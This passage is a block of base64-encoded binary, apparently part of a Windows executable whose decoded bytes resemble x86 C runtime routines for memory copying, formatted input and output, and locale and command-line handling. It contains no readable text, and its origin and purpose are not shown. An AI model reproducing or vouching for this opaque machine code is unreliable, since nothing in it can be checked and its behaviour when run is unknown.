TfzB4AgLwVvJw1WL7FGDPTw5SQAAU1ZXdR2LRQiD+EEPjKoAAACD+FoPj6EAAACDwCDpmQAA AItdCL8AAQAAagE73159JTk1HCxBAH4LVlPoNxEAAFlZ6wqhECpBAIoEWCPGhcB1BIvD62WL FRAqQQCLw8H4CA+2yPZESgGAdA+AZQoAagKIRQiIXQlY6wmAZQkAiF0Ii8ZWagCNTfxqA1FQ jUUIUFf/NTw5SQDoiw4AAIPEIIXAdK47xnUGD7ZF/OsND7ZF/Q+2TfzB4AgLwV9eW8nDVYvs g+wgi0UIVolF6IlF4I1FEMdF7EIAAABQjUXg/3UMx0Xk////f1DoExIAAIPEDP9N5IvweAiL ReCAIADrDY1F4FBqAOjhEAAAWVmLxl7Jw/90JATo8BkAAFnDzMzMzMzMzMzMzFWL7FdWi3UM i00Qi30Ii8GL0QPGO/52CDv4D4J4AQAA98cDAAAAdRTB6QKD4gOD+QhyKfOl/ySVSH1AAIvH ugMAAACD6QRyDIPgAwPI/ySFYHxAAP8kjVh9QACQ/ySN3HxAAJBwfEAAnHxAAMB8QAAj0YoG iAeKRgGIRwGKRgLB6QKIRwKDxgODxwOD+QhyzPOl/ySVSH1AAI1JACPRigaIB4pGAcHpAohH AYPGAoPHAoP5CHKm86X/JJVIfUAAkCPRigaIB0bB6QJHg/kIcozzpf8klUh9QACNSQA/fUAA LH1AACR9QAAcfUAAFH1AAAx9QAAEfUAA/HxAAItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItE jvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJVIfUAAi/9YfUAA YH1AAGx9QACAfUAAi0UIXl/Jw5CKBogHi0UIXl/Jw5CKBogHikYBiEcBi0UIXl/Jw41JAIoG iAeKRgGIRwGKRgKIRwKLRQheX8nDkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/ JJXgfkAAi//32f8kjZB+QACNSQCLx7oDAAAAg/kEcgyD4AMryP8kheh9QAD/JI3gfkAAkPh9 QAAYfkAAQH5AAIpGAyPRiEcDTsHpAk+D+Qhytv3zpfz/JJXgfkAAjUkAikYDI9GIRwOKRgLB 6QKIRwKD7gKD7wKD+QhyjP3zpfz/JJXgfkAAkIpGAyPRiEcDikYCiEcCikYBwekCiEcBg+4D g+8Dg/kID4Ja/////fOl/P8kleB+QACNSQCUfkAAnH5AAKR+QACsfkAAtH5AALx+QADEfkAA 135AAItEjhyJRI8ci0SOGIlEjxiLRI4UiUSPFItEjhCJRI8Qi0SODIlEjwyLRI4IiUSPCItE jgSJRI8EjQSNAAAAAAPwA/j/JJXgfkAAi//wfkAA+H5AAAh/QAAcf0AAi0UIXl/Jw5CKRgOI RwOLRQheX8nDjUkAikYDiEcDikYCiEcCi0UIXl/Jw5CKRgOIRwOKRgKIRwKKRgGIRwGLRQhe X8nDi0QkBKMAKUEAw6EAKUEAacD9QwMABcOeJgCjAClBAMH4ECX/fwAAw8zMzFE9ABAAAI1M JAhyFIHpABAAAC0AEAAAhQE9ABAAAHPsK8iLxIUBi+GLCItABFDDagH/dCQI6IsWAABZWcNV i+yD7CCLRQjHRexJAAAAUIlF6IlF4OiH+P//iUXkjUUQUI1F4P91DFDouxYAAIPEEMnDzMzM zMzMzMzMzMzMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgngBAAD3xwMAAAB1FMHp AoPiA4P5CHIp86X/JJUogUAAi8e6AwAAAIPpBHIMg+ADA8j/JIVAgEAA/ySNOIFAAJD/JI28 gEAAkFCAQAB8gEAAoIBAACPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJUo gUAAjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klSiBQACQI9GKBogHRsHpAkeD +QhyjPOl/ySVKIFAAI1JAB+BQAAMgUAABIFAAPyAQAD0gEAA7IBAAOSAQADcgEAAi0SO5IlE j+SLRI7oiUSP6ItEjuyJRI/si0SO8IlEj/CLRI70iUSP9ItEjviJRI/4i0SO/IlEj/yNBI0A AAAAA/AD+P8klSiBQACL/ziBQABAgUAATIFAAGCBQACLRQheX8nDkIoGiAeLRQheX8nDkIoG iAeKRgGIRwGLRQheX8nDjUkAigaIB4pGAYhHAYpGAohHAotFCF5fycOQjXQx/I18Ofz3xwMA AAB1JMHpAoPiA4P5CHIN/fOl/P8klcCCQACL//fZ/ySNcIJAAI1JAIvHugMAAACD+QRyDIPg AyvI/ySFyIFAAP8kjcCCQACQ2IFAAPiBQAAggkAAikYDI9GIRwNOwekCT4P5CHK2/fOl/P8k lcCCQACNSQCKRgMj0YhHA4pGAsHpAohHAoPuAoPvAoP5CHKM/fOl/P8klcCCQACQikYDI9GI RwOKRgKIRwKKRgHB6QKIRwGD7gOD7wOD+QgPglr////986X8/ySVwIJAAI1JAHSCQAB8gkAA hIJAAIyCQACUgkAAnIJAAKSCQAC3gkAAi0SOHIlEjxyLRI4YiUSPGItEjhSJRI8Ui0SOEIlE jxCLRI4MiUSPDItEjgiJRI8Ii0SOBIlEjwSNBI0AAAAAA/AD+P8klcCCQACL/9CCQADYgkAA 6IJAAPyCQACLRQheX8nDkIpGA4hHA4tFCF5fycONSQCKRgOIRwOKRgKIRwKLRQheX8nDkIpG A4hHA4pGAohHAopGAYhHAYtFCF5fycODPRwsQQABfhFoAwEAAP90JAjoJAkAAFlZw4tEJASL DRAqQQBmiwRBJQMBAADDgz0cLEEAAX4OagT/dCQI6PkIAABZWcOLRCQEiw0QKkEAigRBg+AE w4M9HCxBAAF+DmoI/3QkCOjRCAAAWVnDi0QkBIsNECpBAIoEQYPgCMPMzMzMzMzMzMzMzMzM i0wkCFdTVooRi3wkEITSdGmKcQGE9nRPi/eLTCQUigdGONB0FYTAdAuKBkY40HQKhMB19V5b XzPAw4oGRjjwdeuNfv+KYQKE5HQoigaDxgI44HXEikEDhMB0GIpm/4PBAjjgdN/rsTPAXltf isLpQx0AAI1H/15bX8OLx15bX8NVi+xXVlOLTRDjJovZi30Ii/czwPKu99kDy4v+i3UM86aK Rv8zyTpH/3cEdARJSffRi8FbXl/Jw1WL7Gr/aEDSQABoBKxAAGShAAAAAFBkiSUAAAAAg+xY U1ZXiWXo/xW80EAAM9KK1IkVbDlJAIvIgeH/AAAAiQ1oOUkAweEIA8qJDWQ5SQDB6BCjYDlJ ADP2VugWJgAAWYXAdQhqHOiwAAAAWYl1/OhWJAAA/xXE0EAAo2hOSQDoFCMAAKMgOUkA6L0g AADo/x8AAOgcHQAAiXXQjUWkUP8VeNFAAOiQHwAAiUWc9kXQAXQGD7dF1OsDagpYUP91nFZW /xV00UAAUOi87v//iUWgUOgKHQAAi0XsiwiLCYlNmFBR6M4dAABZWcOLZej/dZjo/BwAAIM9 KDlJAAF1BeiAJwAA/3QkBOiwJwAAaP8AAAD/FRApQQBZWcODPSg5SQABdQXoWycAAP90JATo iycAAFlo/wAAAP8VfNFAAMNVi+yD7BhTVlf/dQjoiAEAAIvwWTs1OExJAIl1CA+EagEAADPb O/MPhFYBAAAz0rggKUEAOTB0coPAMEI9ECpBAHzxjUXoUFb/FYDRQACD+AEPhSQBAABqQDPA Wb9gTUkAg33oAYk1OExJAPOrqokdZE5JAA+G7wAAAIB97gAPhLsAAACNTe+KEYTSD4SuAAAA D7ZB/w+20jvCD4eTAAAAgIhhTUkABEDr7mpAM8BZv2BNSQDzq400Uold/MHmBKqNnjApQQCA OwCLy3QsilEBhNJ0JQ+2AQ+2+jvHdxSLVfyKkhgpQQAIkGFNSQBAO8d29UFBgDkAddT/RfyD wwiDffwEcsGLRQjHBUxMSQABAAAAUKM4TEkA6MYAAACNtiQpQQC/QExJAKWlWaNkTkkApetV QUGAef8AD4VI////agFYgIhhTUkACEA9/wAAAHLxVuiMAAAAWaNkTkkAxwVMTEkAAQAAAOsG iR1MTEkAM8C/QExJAKurq+sNOR0sOUkAdA7ojgAAAOiyAAAAM8DrA4PI/19eW8nDi0QkBIMl LDlJAACD+P51EMcFLDlJAAEAAAD/JYjRQACD+P11EMcFLDlJAAEAAAD/JYTRQACD+Px1D6FM OUkAxwUsOUkAAQAAAMOLRCQELaQDAAB0IoPoBHQXg+gNdAxIdAMzwMO4BAQAAMO4EgQAAMO4 BAgAAMO4EQQAAMNXakBZM8C/YE1JAPOrqjPAv0BMSQCjOExJAKNMTEkAo2ROSQCrq6tfw1WL 7IHsFAUAAI1F7FZQ/zU4TEkA/xWA0UAAg/gBD4UWAQAAM8C+AAEAAIiEBez+//9AO8Zy9IpF 8saF7P7//yCEwHQ3U1eNVfMPtgoPtsA7wXcdK8iNvAXs/v//QbggICAgi9nB6QLzq4vLg+ED 86pCQopC/4TAddBfW2oAjYXs+v///zVkTkkA/zU4TEkAUI2F7P7//1ZQagHo8yUAAGoAjYXs /f///zU4TEkAVlCNhez+//9WUFb/NWROSQDoaAEAAGoAjYXs/P///zU4TEkAVlCNhez+//9W UGgAAgAA/zVkTkkA6EABAACDxFwzwI2N7Pr//2aLEfbCAXQWgIhhTUkAEIqUBez9//+IkGBM SQDrHPbCAnQQgIhhTUkAIIqUBez8///r44CgYExJAABAQUE7xnK/60kzwL4AAQAAg/hBchmD +Fp3FICIYU1JABCKyIDBIIiIYExJAOsfg/hhchOD+Hp3DoCIYU1JACCKyIDpIOvggKBgTEkA AEA7xnK+XsnDgz0oTEkAAHUSav3oLPz//1nHBShMSQABAAAAw1WL7IM9TExJAABXi30IiX0I dRH/dRD/dQxX6ComAACDxAzrY4tVEFaF0nQ9i00MigFKD7bw9oZhTUkABIgHdBNHQYXSdBmK AUqIB0dBhMB0FOsGR0GEwHQQhdJ10usKgGf/AOsEgGf+AIvCSoXAXnQTjUoBM8CL0cHpAvOr i8qD4QPzqotFCF9dw1WL7Gr/aFjSQABoBKxAAGShAAAAAFBkiSUAAAAAg+wcU1ZXiWXoM/85 PTA5SQB1RldXagFbU2hQ0kAAvgABAABWV/8VPNFAAIXAdAiJHTA5SQDrIldXU2hM0kAAVlf/ FUDRQACFwA+EIgEAAMcFMDlJAAIAAAA5fRR+EP91FP91EOieAQAAWVmJRRShMDlJAIP4AnUd /3Uc/3UY/3UU/3UQ/3UM/3UI/xVA0UAA6d4AAACD+AEPhdMAAAA5fSB1CKFMOUkAiUUgV1f/ dRT/dRCLRST32BvAg+AIQFD/dSD/FXjQQACL2Ild5DvfD4ScAAAAiX38jQQbg8ADJPzoXfT/ /4ll6IvEiUXcg038/+sTagFYw4tl6DP/iX3cg038/4td5Dl93HRmU/913P91FP91EGoB/3Ug /xV40EAAhcB0TVdXU/913P91DP91CP8VPNFAAIvwiXXYO/d0MvZFDQR0QDl9HA+EsgAAADt1 HH8e/3Uc/3UYU/913P91DP91CP8VPNFAAIXAD4WPAAAAM8CNZciLTfBkiQ0AAAAAX15bycPH RfwBAAAAjQQ2g8ADJPzoqfP//4ll6IvciV3gg038/+sSagFYw4tl6DP/M9uDTfz/i3XYO990 tFZT/3Xk/3Xc/3UM/3UI/xU80UAAhcB0nDl9HFdXdQRXV+sG/3Uc/3UYVlNoIAIAAP91IP8V oNBAAIvwO/cPhHH///+Lxuls////i1QkCItEJASF0laNSv90DYA4AHQIQIvxSYX2dfOAOABe dQUrRCQEw4vCw1WL7FGLRQiNSAGB+QABAAB3DIsNECpBAA+3BEHrUovIVos1ECpBAMH5CA+2 0fZEVgGAXnQOgGX+AIhN/IhF/WoC6wmAZf0AiEX8agFYjU0KagFqAGoAUVCNRfxQagHotSEA AIPEHIXAdQLJww+3RQojRQzJw1WL7FNWi3UMi0YMi14QqIIPhPMAAACoQA+F6wAAAKgBdBaD ZgQAqBAPhNsAAACLTggk/okOiUYMi0YMg2YEAINlDAAk7wwCZqkMAYlGDHUigf6gLUEAdAiB /sAtQQB1C1PoHiYAAIXAWXUHVujPJQAAWWb3RgwIAVd0ZItGCIs+K/iNSAGJDotOGEmF/4lO BH4QV1BT6PkjAACDxAyJRQzrM4P7/3QWi8OLy8H4BYPhH4sEhSBLSQCNBMjrBbjILEEA9kAE IHQNagJqAFPoJyMAAIPEDItGCIpNCIgI6xRqAY1FCF9XUFPopiMAAIPEDIlFDDl9DF90BoNO DCDrD4tFCCX/AAAA6wgMIIlGDIPI/15bXcNVi+yB7EgCAABTVleLfQwz9oofR4TbiXX0iXXs iX0MD4T0BgAAi03wM9LrCItN8It10DPSOVXsD4zcBgAAgPsgfBOA+3h/Dg++w4qAUNJAAIPg D+sCM8APvoTGcNJAAMH4BIP4B4lF0A+HmgYAAP8khfuUQACDTfD/iVXMiVXYiVXgiVXkiVX8 iVXc6XgGAAAPvsOD6CB0O4PoA3Qtg+gIdB9ISHQSg+gDD4VZBgAAg038COlQBgAAg038BOlH BgAAg038Aek+BgAAgE38gOk1BgAAg038AuksBgAAgPsqdSONRRBQ6PUGAACFwFmJReAPjRIG AACDTfwE99iJReDpBAYAAItF4A++y40EgI1EQdDr6YlV8OntBQAAgPsqdR6NRRBQ6LYGAACF wFmJRfAPjdMFAACDTfD/6coFAACNBIkPvsuNREHQiUXw6bgFAACA+0l0LoD7aHQggPtsdBKA +3cPhaAFAACATf0I6ZcFAACDTfwQ6Y4FAACDTfwg6YUFAACAPzZ1FIB/ATR1DkdHgE39gIl9 DOlsBQAAiVXQiw0QKkEAiVXcD7bD9kRBAYB0GY1F7FD/dQgPvsNQ6H8FAACKH4PEDEeJfQyN RexQ/3UID77DUOhmBQAAg8QM6SUFAAAPvsOD+GcPjxwCAACD+GUPjZYAAACD+FgPj+sAAAAP hHgCAACD6EMPhJ8AAABISHRwSEh0bIPoDA+F6QMAAGb3RfwwCHUEgE39CIt18IP+/3UFvv// /3+NRRBQ6JwFAABm90X8EAhZi8iJTfgPhP4BAACFyXUJiw0sLEEAiU34x0XcAQAAAIvBi9ZO hdIPhNQBAABmgzgAD4TKAQAAQEDr58dFzAEAAACAwyCDTfxAjb24/f//O8qJffgPjc8AAADH RfAGAAAA6dEAAABm90X8MAh1BIBN/Qhm90X8EAiNRRBQdDvoMAUAAFCNhbj9//9Q6HUjAACD xAyJRfSFwH0yx0XYAQAAAOspg+hadDKD6Al0xUgPhOgBAADpCAMAAOjYBAAAWYiFuP3//8dF 9AEAAACNhbj9//+JRfjp5wIAAI1FEFDoswQAAIXAWXQzi0gEhcl0LPZF/Qh0Fw+/ANHoiU34 iUX0x0XcAQAAAOm1AgAAg2XcAIlN+A+/AOmjAgAAoSgsQQCJRfhQ6Y4AAAB1DID7Z3UHx0Xw AQAAAItFEP91zIPACIlFEP918ItI+IlNuItA/IlFvA++w1CNhbj9//9QjUW4UP8VADBBAIt1 /IPEFIHmgAAAAHQUg33wAHUOjYW4/f//UP8VDDBBAFmA+2d1EoX2dQ6Nhbj9//9Q/xUEMEEA WYC9uP3//y11DYBN/QGNvbn9//+JffhX6GHm//9Z6fwBAACD6GkPhNEAAACD6AUPhJ4AAABI D4SEAAAASHRRg+gDD4T9/f//SEgPhLEAAACD6AMPhckBAADHRdQnAAAA6zwrwdH46bQBAACF yXUJiw0oLEEAiU34i8GL1k6F0nQIgDgAdANA6/ErwemPAQAAx0XwCAAAAMdF1AcAAAD2RfyA x0X0EAAAAHRdikXUxkXqMARRx0XkAgAAAIhF6+tI9kX8gMdF9AgAAAB0O4BN/QLrNY1FEFDo GwMAAPZF/CBZdAlmi03sZokI6wWLTeyJCMdF2AEAAADpIwIAAINN/EDHRfQKAAAA9kX9gHQM jUUQUOjtAgAAWetB9kX8IHQh9kX8QI1FEFB0DOjIAgAAWQ+/wJnrJei8AgAAWQ+3wOvy9kX8 QI1FEFB0COinAgAAWevg6J8CAABZM9L2RfxAdBuF0n8XfASFwHMR99iD0gCL8PfagE39AYv6 6wSL8Iv69kX9gHUDg+cAg33wAH0Jx0XwAQAAAOsEg2X894vGC8d1BINl5ACNRbeJRfiLRfD/ TfCFwH8Gi8YLx3Q7i0X0mVJQV1aJRcCJVcTobyEAAP91xIvYg8Mw/3XAV1bo7SAAAIP7OYvw i/p+AwNd1ItF+P9N+IgY67WNRbcrRfj/Rfj2Rf0CiUX0dBmLTfiAOTB1BIXAdQ3/TfhAi034 xgEwiUX0g33YAA+F9AAAAItd/PbDQHQm9scBdAbGReot6xT2wwF0BsZF6ivrCfbDAnQLxkXq IMdF5AEAAACLdeArdeQrdfT2wwx1Eo1F7FD/dQhWaiDoFwEAAIPEEI1F7FCNRer/dQj/deRQ 6DIBAACDxBD2wwh0F/bDBHUSjUXsUP91CFZqMOjlAAAAg8QQg33cAHRBg330AH47i0X0i134 jXj/ZosDQ1CNRchQQ+iWHwAAWYXAWX4yjU3sUf91CFCNRchQ6NgAAACDxBCLx0+FwHXQ6xWN RexQ/3UI/3X0/3X46LoAAACDxBD2RfwEdBKNRexQ/3UIVmog6HEAAACDxBCLfQyKH0eE24l9 DA+FE/n//4tF7F9eW8nDeY9AAE+OQABqjkAAto5AAO2OQAD1jkAAKo9AAL2PQABVi+yLTQz/ SQR4DosRikUIiAL/AQ+2wOsLUf91COiI9///WVmD+P+LRRB1BYMI/13D/wBdw1ZXi3wkEIvH T4XAfiGLdCQYVv90JBj/dCQU6Kz///+DxAyDPv90B4vHT4XAf+NfXsNTi1wkDIvDS1ZXhcB+ Jot8JByLdCQQD74GV0b/dCQcUOh1////g8QMgz//dAeLw0uFwH/iX15bw4tEJASDAASLAItA /MOLRCQEgwAIiwiLQfiLUfzDi0QkBIMABIsAZotA/MNWi3QkCIX2dCRW6MAfAABZhcBWdApQ 6N8fAABZWV7DagD/NQRLSQD/FZDRQABew/81uDpJAP90JAjoAwAAAFlZw4N8JATgdyL/dCQE 6BwAAACFwFl1FjlEJAh0EP90JATodScAAIXAWXXeM8DDVot0JAg7NSAwQQB3C1bopSIAAIXA WXUchfZ1A2oBXoPGD4Pm8FZqAP81BEtJAP8VlNFAAF7DVYvsgezEAQAAgGXrAFNWi3UMM9tX igaJXfyEwIldzA+E4QkAAIt9COsFi30IM9uDPRwsQQABfg8PtsBqCFDohvX//1lZ6w+LDRAq QQAPtsCKBEGD4Ag7w3Q2/038V41F/FdQ6CUKAABZWVDoBgoAAA+2RgFGUOhp7P//g8QMhcB0 Dg+2RgFGUOhX7P//WevugD4lD4XZCAAAgGXLAIBl6ACAZekAgGXyAIBl8QCAZeoAM/+AZfsA iV3kiV3giV30xkXzAYld0A+2XgFGgz0cLEEAAX4PD7bDagRQ6On0//9ZWesPiw0QKkEAD7bD igRBg+AEhcB0EotF9P9F4I0EgI1EQ9CJRfTrZYP7Tn8+dF6D+yp0MoP7RnRUg/tJdAqD+0x1 N/5F8+tFgH4BNnUsgH4CNI1GAnUj/0XQg2XYAINl3ACL8Osn/kXy6yKD+2h0F4P7bHQKg/t3 dAj+RfHrDv5F8/5F++sG/k3z/k37gH3xAA+ET////4B98gCJdQx1EotFEIlFvIPABIlFEItA /IlF1IBl8QCAffsAdRSKBjxTdAo8Q3QGgE37/+sExkX7AYtdDA+2M4POIIP+bol1xHQog/5j dBSD/nt0D/91CI1F/FDotQgAAFnrC/91CP9F/Oh2CAAAWYlF7DPAOUXgdAk5RfQPhNwHAACD /m8Pj14CAAAPhAoFAACD/mMPhCwCAACD/mQPhPgEAAAPjmoCAACD/md+OIP+aXQbg/5uD4VX AgAAgH3yAIt9/A+EAAcAAOkhBwAAamRei13sg/stD4V+AgAAxkXpAel6AgAAi13sjbU8/v// g/stdQ6InTz+//+NtT3+///rBYP7K3UXi30I/030/0X8V+jOBwAAi9hZiV3s6wOLfQiDfeAA dAmBffRdAQAAfgfHRfRdAQAAgz0cLEEAAX4MagRT6Anz//9ZWesLoRAqQQCKBFiD4ASFwHQh i0X0/030hcB0F/9F5IgeRv9F/FfocAcAAIvYWYld7Ou7OB0gLEEAdWaLRfT/TfSFwHRc/0X8 V+hNBwAAi9igICxBAIgGWYld7EaDPRwsQQABfgxqBFPom/L//1lZ6wuhECpBAIoEWIPgBIXA dCGLRfT/TfSFwHQX/0XkiB5G/0X8V+gCBwAAi9hZiV3s67uDfeQAD4SOAAAAg/tldAmD+0UP hYAAAACLRfT/TfSFwHR2xgZlRv9F/FfoywYAAIvYWYP7LYld7HUFiAZG6wWD+yt1HotF9P9N 9IXAdQUhRfTrD/9F/FfongYAAIvYWYld7IM9HCxBAAF+DGoEU+j08f//WVnrC6EQKkEAigRY g+AEhcB0EotF9P9N9IXAdAj/ReSIHkbru/9N/FdT6HIGAACDfeQAWVkPhPYFAACAffIAD4VN BQAA/0XMgCYAjYU8/v//UA++RfP/ddRIUP8VCDBBAIPEDOkpBQAAOUXgdQr/RfTHReABAAAA gH37AH4ExkXqAb84LEEA6QsBAACLxoPocA+EowIAAIPoAw+E6AAAAEhID4SWAgAAg+gDD4TD /f//g+gDdCQPtgM7RewPhT8FAAD+TeuAffIAD4XDBAAAi0W8iUUQ6bgEAACAffsAfgTGReoB i30MR4l9DIA/Xg+FpwAAAIvHjXgB6ZkAAACD+yt1Iv9N9HUMg33gAHQGxkXxAesR/3UI/0X8 6GgFAACL2FmJXeyD+zAPhUUCAAD/dQj/RfzoTgUAAIvYWYD7eIld7HQvgPtYdCqD/njHReQB AAAAdAhqb17pFgIAAP91CP9N/FPoOAUAAFlZajBb6f0BAAD/dQj/RfzoCQUAAFmL2Ild7Gp4 68+AffsAfgTGReoBvzAsQQCATej/aiCNRZxqAFDo7Nr//4PEDIN9xHt1DoA/XXUJsl1HxkWn IOsDilXLigc8XXRfRzwtdUGE0nQ9ig+A+V10Nkc60XMEisHrBIrCitE60HchD7bSD7bwK/JG i8qLwoPhB7MBwegD0uONRAWcCBhCTnXoMtLrtA+2yIrQi8GD4QezAcHoA9LjjUQFnAgY65uA PwAPhAEEAACDfcR7dQOJfQyLfQiLddT/TfxX/3XsiXXQ6FMEAABZWYN94AB0DotF9P9N9IXA D4ScAAAA/0X8V+gaBAAAg/j/WYlF7HR+i8hqAYPhB1oPvl3o0+KLyMH5Aw++TA2cM8uF0XRg gH3yAHVSgH3qAHRBiw0QKkEAiEXID7bA9kRBAYB0Df9F/FfoywMAAFmIRcn/NRwsQQCNRchQ jUXCUOiqIAAAZotFwoPEDGaJBkZG6wOIBkaJddTpZP////9F0Olc/////038V1DoowMAAFlZ OXXQD4QoAwAAgH3yAA+FfwIAAP9FzIN9xGMPhHICAACAfeoAi0XUdAlmgyAA6WACAACAIADp WAIAAMZF8wGLXeyD+y11BsZF6QHrBYP7K3Ui/030dQyDfeAAdAbGRfEB6xH/dQj/RfzoGgMA AFmL2Ild7IN90AAPhA8BAACAffEAD4XjAAAAg/54dU+DPRwsQQABfg9ogAAAAFPoVO7//1lZ 6w2hECpBAIoEWCWAAAAAhcAPhKMAAACLRdiLVdxqBFnozSAAAFOJRdiJVdzofQIAAIvYWYld 7OtTgz0cLEEAAX4MagRT6Aju//9ZWesLoRAqQQCKBFiD4ASFwHRdg/5vdRWD+zh9U4tF2ItV 3GoDWeh9IAAA6w9qAGoK/3Xc/3XY6CwgAACJRdiJVdz/ReSNQ9CZAUXYEVXcg33gAHQF/030 dCT/dQj/RfzoNgIAAIvYWYld7Okr/////3UI/038U+g5AgAAWVmAfekAD4TcAAAAi0XYi03c 99iD0QCJRdj32YlN3OnEAAAAgH3xAA+FsgAAAIP+eHQ/g/5wdDqDPRwsQQABfgxqBFPoQ+3/ /1lZ6wuhECpBAIoEWIPgBIXAdHaD/m91CoP7OH1swecD6z+NPL/R5+s4gz0cLEEAAX4PaIAA AABT6Abt//9ZWesNoRAqQQCKBFglgAAAAIXAdDdTwecE6EQBAACL2FmJXez/ReSDfeAAjXwf 0HQF/030dCT/dQj/RfzoWAEAAIvYWYld7Olc/////3UI/038U+hbAQAAWVmAfekAdAL334P+ RnUEg2XkAIN95AAPhM4AAACAffIAdSn/RcyDfdAAdBCLRdSLTdiJCItN3IlIBOsQgH3zAItF 1HQEiTjrA2aJOP5F6/9FDIt1DOtC/0X8V+jhAAAAi9hZD7YGRjvDiV3siXUMdVWLDRAqQQAP tsP2REEBgHQY/0X8V+i3AAAAWQ+2DkY7yIl1DHU+/038g33s/3UQgD4ldU2LRQyAeAFudUSL 8IoGhMAPhVb2///rMP91CP9N/P917OsF/038V1PoiwAAAFlZ6xf/TfxXUOh9AAAA/038V1Po cwAAAIPEEIN97P91EYtFzIXAdQ04Ret1CIPI/+sDi0XMX15bycODPRwsQQABVn4Qi3QkCGoE VuiO6///WVnrD4t0JAihECpBAIoEcIPgBIXAdQaD5t+D7geLxl7Di1QkBP9KBHgJiwoPtgFB iQrDUugUHgAAWcODfCQE/3QP/3QkCP90JAjo1x4AAFlZw1aLdCQIV/90JBD/Bui+////i/hX 6D7i//9ZhcBZdeeLx19ew8zMzMzMzMzMjUL/W8ONpCQAAAAAjWQkADPAikQkCFOL2MHgCItU JAj3wgMAAAB0E4oKQjjZdNGEyXRR98IDAAAAde0L2FeLw8HjEFYL2IsKv//+/n6LwYv3M8sD 8AP5g/H/g/D/M88zxoPCBIHhAAEBgXUcJQABAYF00yUAAQEBdQiB5gAAAIB1xF5fWzPAw4tC /DjYdDaEwHTvONx0J4TkdOfB6BA42HQVhMB03DjcdAaE5HTU65ZeX41C/1vDjUL+Xl9bw41C /V5fW8ONQvxeX1vDoTRMSQCFwHQC/9BoFPBAAGgI8EAA6M4AAABoBPBAAGgA8EAA6L8AAACD xBDDagBqAP90JAzoFQAAAIPEDMNqAGoB/3QkDOgEAAAAg8QMw1dqAV85PZw5SQB1Ef90JAj/ FazQQABQ/xUo0UAAg3wkDABTi1wkFIk9mDlJAIgdlDlJAHU8oTBMSQCFwHQiiw0sTEkAVo1x /DvwchOLBoXAdAL/0IPuBDs1MExJAHPtXmgg8EAAaBjwQADoKgAAAFlZaCjwQABoJPBAAOgZ AAAAWVmF21t1EP90JAiJPZw5SQD/FXzRQABfw1aLdCQIO3QkDHMNiwaFwHQC/9CDxgTr7V7D VYvsU/91COg1AQAAhcBZD4QgAQAAi1gIhdsPhBUBAACD+wV1DINgCABqAVjpDQEAAIP7AQ+E 9gAAAIsNoDlJAIlNCItNDIkNoDlJAItIBIP5CA+FyAAAAIsNuCxBAIsVvCxBAAPRVjvKfRWN NEkr0Y00tUgsQQCDJgCDxgxKdfeLAIs1xCxBAD2OAADAdQzHBcQsQQCDAAAA63A9kAAAwHUM xwXELEEAgQAAAOtdPZEAAMB1DMcFxCxBAIQAAADrSj2TAADAdQzHBcQsQQCFAAAA6zc9jQAA wHUMxwXELEEAggAAAOskPY8AAMB1DMcFxCxBAIYAAADrET2SAADAdQrHBcQsQQCKAAAA/zXE LEEAagj/01mJNcQsQQBZXusIg2AIAFH/01mLRQijoDlJAIPI/+sJ/3UM/xWY0UAAW13Di1Qk BIsNwCxBADkVQCxBAFa4QCxBAHQVjTRJjTS1QCxBAIPADDvGcwQ5EHX1jQxJXo0MjUAsQQA7 wXMEORB0AjPAw4M9KExJAAB1Bei75P//Vos1aE5JAIoGPCJ1JYpGAUY8InQVhMB0EQ+2wFDo lBsAAIXAWXTmRuvjgD4idQ1G6wo8IHYGRoA+IHf6igaEwHQEPCB26YvGXsNTM9s5HShMSQBW V3UF6F/k//+LNSA5SQAz/4oGOsN0Ejw9dAFHVugr0///WY10BgHr6I0EvQQAAABQ6Orw//+L 8Fk784k1fDlJAHUIagnoEeD//1mLPSA5SQA4H3Q5VVfo8dL//4voWUWAPz10IlXotfD//zvD WYkGdQhqCeji3///WVf/Nujb0f//WYPGBFkD/Tgfdcld/zUgOUkA6Fjw//9ZiR0gOUkAiR5f XscFJExJAAEAAABbw1WL7FFRUzPbOR0oTEkAVld1Beih4///vqQ5SQBoBAEAAFZT/xUU0UAA oWhOSQCJNYw5SQCL/jgYdAKL+I1F+FCNRfxQU1NX6E0AAACLRfiLTfyNBIhQ6BXw//+L8IPE GDvzdQhqCOhA3///WY1F+FCNRfxQi0X8jQSGUFZX6BcAAACLRfyDxBRIiTV0OUkAX16jcDlJ AFvJw1WL7ItNGItFFFNWgyEAi3UQV4t9DMcAAQAAAItFCIX/dAiJN4PHBIl9DIA4InVEilAB QID6InQphNJ0JQ+20vaCYU1JAAR0DP8BhfZ0BooQiBZGQP8BhfZ01YoQiBZG687/AYX2dASA JgBGgDgidUZA60P/AYX2dAWKEIgWRooQQA+22vaDYU1JAAR0DP8BhfZ0BYoYiB5GQID6IHQJ hNJ0CYD6CXXMhNJ1A0jrCIX2dASAZv8Ag2UYAIA4AA+E4AAAAIoQgPogdAWA+gl1A0Dr8YA4 AA+EyAAAAIX/dAiJN4PHBIl9DItVFP8Cx0UIAQAAADPbgDhcdQRAQ+v3gDgidSz2wwF1JTP/ OX0YdA2AeAEijVABdQSLwusDiX0Ii30MM9I5VRgPlMKJVRjR64vTS4XSdA5DhfZ0BMYGXEb/ AUt184oQhNJ0SoN9GAB1CoD6IHQ/gPoJdDqDfQgAdC6F9nQZD7ba9oNhTUkABHQGiBZGQP8B ihCIFkbrDw+20vaCYU1JAAR0A0D/Af8BQOlY////hfZ0BIAmAEb/AekX////hf90A4MnAItF FF9eW/8AXcNRUaGoOkkAU1WLLajRQABWVzPbM/Yz/zvDdTP/1YvwO/N0DMcFqDpJAAEAAADr KP8VpNFAAIv4O/sPhOoAAADHBag6SQACAAAA6Y8AAACD+AEPhYEAAAA783UM/9WL8DvzD4TC AAAAZjkei8Z0DkBAZjkYdflAQGY5GHXyK8aLPaDQQADR+FNTQFNTUFZTU4lEJDT/14voO+t0 MlXogu3//zvDWYlEJBB0I1NTVVD/dCQkVlNT/9eFwHUO/3QkEOgw7f//WYlcJBCLXCQQVv8V oNFAAIvD61OD+AJ1TDv7dQz/FaTRQACL+Dv7dDw4H4vHdApAOBh1+0A4GHX2K8dAi+hV6Bvt 